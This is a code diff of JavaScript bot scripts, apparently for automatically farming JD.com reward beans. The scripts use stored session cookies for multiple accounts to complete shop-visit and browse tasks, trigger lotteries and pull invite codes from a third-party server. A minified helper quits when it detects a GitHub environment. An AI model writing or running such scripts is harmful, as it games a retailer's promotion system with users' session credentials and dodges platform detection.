+ if (data.data.bizCode !== 0) {
+ console.log(data.data.bizMsg);
+ return
+ }
+ scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore
+ if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel];
+ //console.log(scorePerLottery)
+ for (let i = 0;i < data.data.result.taskVos.length;i ++) {
+ console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成"))
+ //签到
+ if (data.data.result.taskVos[i].taskName === '邀请好友助力') {
+ console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`);
+ for (let code of $.newShareCodes) {
+ if (!code) continue
+ await harmony_collectScore(code, data.data.result.taskVos[i].taskId);
+ await $.wait(2000)
+ }
+ }
+ else if (data.data.result.taskVos[i].status === 3) {
+ console.log('开始抽奖')
+ await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId);
+ }
+ else if ([0,13].includes(data.data.result.taskVos[i].taskType)) {
+ if (data.data.result.taskVos[i].status === 1) {
+ await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId);
+ }
+ }
+ else if ([14,6].includes(data.data.result.taskVos[i].taskType)) {
+ //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken)
+ for (let j = 0;j <(data.data.result.userInfo.lotteryNum||0);j++) {
+ if (appId === "1EFRTxQ") {
+ await ts_smashGoldenEggs()
+ } else {
+ await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId);
+ }
+ }
+ }
+ let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo
+ for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) {
+ for (let j in list) {
+ if (list[j].status === 1) {
+ //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo)
+ console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName))
+ //console.log(list[j].itemId)
+ if (list[j].itemId) {
+ await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1);
+ if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId);
+ } else {
+ await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId)
+ }
+ list[j].status = 2;
+ break;
+ }
+ }
+ }
+ }
+ if (scorePerLottery) await interact_template_getLotteryResult();
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ },timeout)
+ })
+}
+//做任务
+function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) {
+ return new Promise((resolve) => {
+ setTimeout( ()=>{
+ let url = {
+ url : `${JD_API_HOST}`,
+ headers : {
+ 'Origin' : `https://h5.m.jd.com`,
+ 'Cookie' : cookie,
+ 'Connection' : `keep-alive`,
+ 'Accept' : `application/json, text/plain, */*`,
+ 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode}
+ 'Host' : `api.m.jd.com`,
+ 'Accept-Encoding' : `gzip, deflate, br`,
+ 'Accept-Language' : `zh-cn`
+ },
+ body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0`
+ }
+ //console.log(url.body)
+ //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg"
+ $.post(url, async (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ if (data.data.bizMsg === "任务领取成功") {
+ await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000);
+ } else{
+ console.log(data.data.bizMsg)
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ },timeout)
+ })
+}
+//抽奖
+function interact_template_getLotteryResult(taskId,timeout = 0) {
+ return new Promise((resolve) => {
+ setTimeout( ()=>{
+ let url = {
+ url : `${JD_API_HOST}`,
+ headers : {
+ 'Origin' : `https://h5.m.jd.com`,
+ 'Cookie' : cookie,
+ 'Connection' : `keep-alive`,
+ 'Accept' : `application/json, text/plain, */*`,
+ 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ
+ 'Host' : `api.m.jd.com`,
+ 'Accept-Encoding' : `gzip, deflate, br`,
+ 'Accept-Language' : `zh-cn`
+ },
+ body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0`
+ }
+ //console.log(url.body)
+ //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg`
+ $.post(url, async (err, resp, data) => {
+ try {
+ if (!timeout) console.log('\n开始抽奖')
+ data = JSON.parse(data);
+ if (data.data.bizCode === 0) {
+ if (data.data.result.userAwardsCacheDto.jBeanAwardVo) {
+ console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity)
+ $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity)
+ }
+ if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore);
+ if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) {
+ await interact_template_getLotteryResult(1000)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ },timeout)
+ })
+}
+
+
+//通知
+function showMsg() {
+ message += `任务已完成,本次运行获得京豆${$.beans}`
+ return new Promise(resolve => {
+ if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`);
+ $.log(`【京东账号${$.index}】${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+
+function requireConfig() {
+ return new Promise(async resolve => {
+ console.log(`开始获取${$.name}配置文件\n`);
+ //Node.js用户请在jdCookie.js处填写京东ck;
+ let shareCodes = []
+ console.log(`共${cookiesArr.length}个京东账号\n`);
+ if ($.isNode() && process.env.JDSGMH_SHARECODES) {
+ if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) {
+ shareCodes = process.env.JDSGMH_SHARECODES.split('\n');
+ } else {
+ shareCodes = process.env.JDSGMH_SHARECODES.split('&');
+ }
+ }
+ $.shareCodesArr = [];
+ if ($.isNode()) {
+ Object.keys(shareCodes).forEach((item) => {
+ if (shareCodes[item]) {
+ $.shareCodesArr.push(shareCodes[item])
+ }
+ })
+ }
+ console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`);
+ resolve()
+ })
+}
+
+//格式化助力码
+function shareCodesFormat() {
+ return new Promise(async resolve => {
+ // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`)
+ $.newShareCodes = [];
+ if ($.shareCodesArr[$.index - 1]) {
+ $.newShareCodes = $.shareCodesArr[$.index - 1].split('@');
+ } else {
+ console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`)
+ const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1);
+ $.newShareCodes = inviteCodes[tempIndex].split('@');
+ }
+ const readShareCodeRes = await readShareCode();
+ // console.log(readShareCodeRes)
+ if (readShareCodeRes && readShareCodeRes.code === 200) {
+ $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])];
+ }
+ console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`)
+ resolve();
+ })
+}
+
+function readShareCode() {
+ console.log(`开始`)
+ return new Promise(async resolve => {
+ $.get({
+ url: `http://share.turinglabs.net/api/v3/sgmh/query/${randomCount}/`,
+ 'timeout': 10000
+ }, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`)
+ data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ await $.wait(2000);
+ resolve()
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_shop.js b/Task/jd_shop.js
new file mode 100644
index 0000000..6474ade
--- /dev/null
+++ b/Task/jd_shop.js
@@ -0,0 +1,219 @@
+/*
+进店领豆,每天可拿四京豆
+活动入口:京东APP首页-领京豆-进店领豆
+更新时间:2020-11-03
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+===============Quantumultx===============
+[task_local]
+#进店领豆
+10 0 * * * jd_shop.js, tag=进店领豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_shop.png, enabled=true
+================Loon============
+[Script]
+cron "10 0 * * *" script-path=jd_shop.js,tag=进店领豆
+==============Surge===============
+[Script]
+进店领豆 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_shop.js
+*/
+const $ = new Env('进店领豆');
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+let message = '', subTitle = '';
+
+const JD_API_HOST = 'https://api.m.jd.com/client.action';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ message = '';
+ subTitle = '';
+ await jdShop();
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+async function jdShop() {
+ const taskData = await getTask();
+ if (taskData.code === '0') {
+ if (!taskData.data.taskList) {
+ console.log(`${taskData.data.taskErrorTips}\n`);
+ $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n${taskData.data.taskErrorTips}`);
+ } else {
+ const { taskList } = taskData.data;
+ let beanCount = 0;
+ for (let item of taskList) {
+ if (item.taskStatus === 3) {
+ console.log(`${item.shopName} 已拿到2京豆\n`)
+ } else {
+ console.log(`taskId::${item.taskId}`)
+ const doTaskRes = await doTask(item.taskId);
+ if (doTaskRes.code === '0') {
+ beanCount += 2;
+ }
+ }
+ }
+ console.log(`beanCount::${beanCount}`);
+ if (beanCount > 0) {
+ $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n成功领取${beanCount}京豆`);
+ // if ($.isNode()) {
+ // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`);
+ // }
+ // if ($.isNode()) {
+ // await notify.BarkNotify(`${$.name}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`);
+ // }
+ }
+ }
+ }
+}
+function doTask(taskId) {
+ console.log(`doTask-taskId::${taskId}`)
+ return new Promise(resolve => {
+ const body = { 'taskId': `${taskId}` };
+ const options = {
+ url: `${JD_API_HOST}`,
+ body: `functionId=takeTask&body=${escape(JSON.stringify(body))}&appid=ld`,
+ headers: {
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Host': 'api.m.jd.com',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Cookie': cookie,
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n进店领豆: API查询请求失败 ‼️‼️')
+ $.logErr(err);
+ } else {
+ // console.log(data)
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function getTask(body = {}) {
+ return new Promise(resolve => {
+ const options = {
+ url: `${JD_API_HOST}`,
+ body: `functionId=queryTaskIndex&body=${escape(JSON.stringify(body))}&appid=ld`,
+ headers: {
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Host': 'api.m.jd.com',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Cookie': cookie,
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n进店领豆: API查询请求失败 ‼️‼️')
+ $.logErr(err);
+ } else {
+ // console.log(data)
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 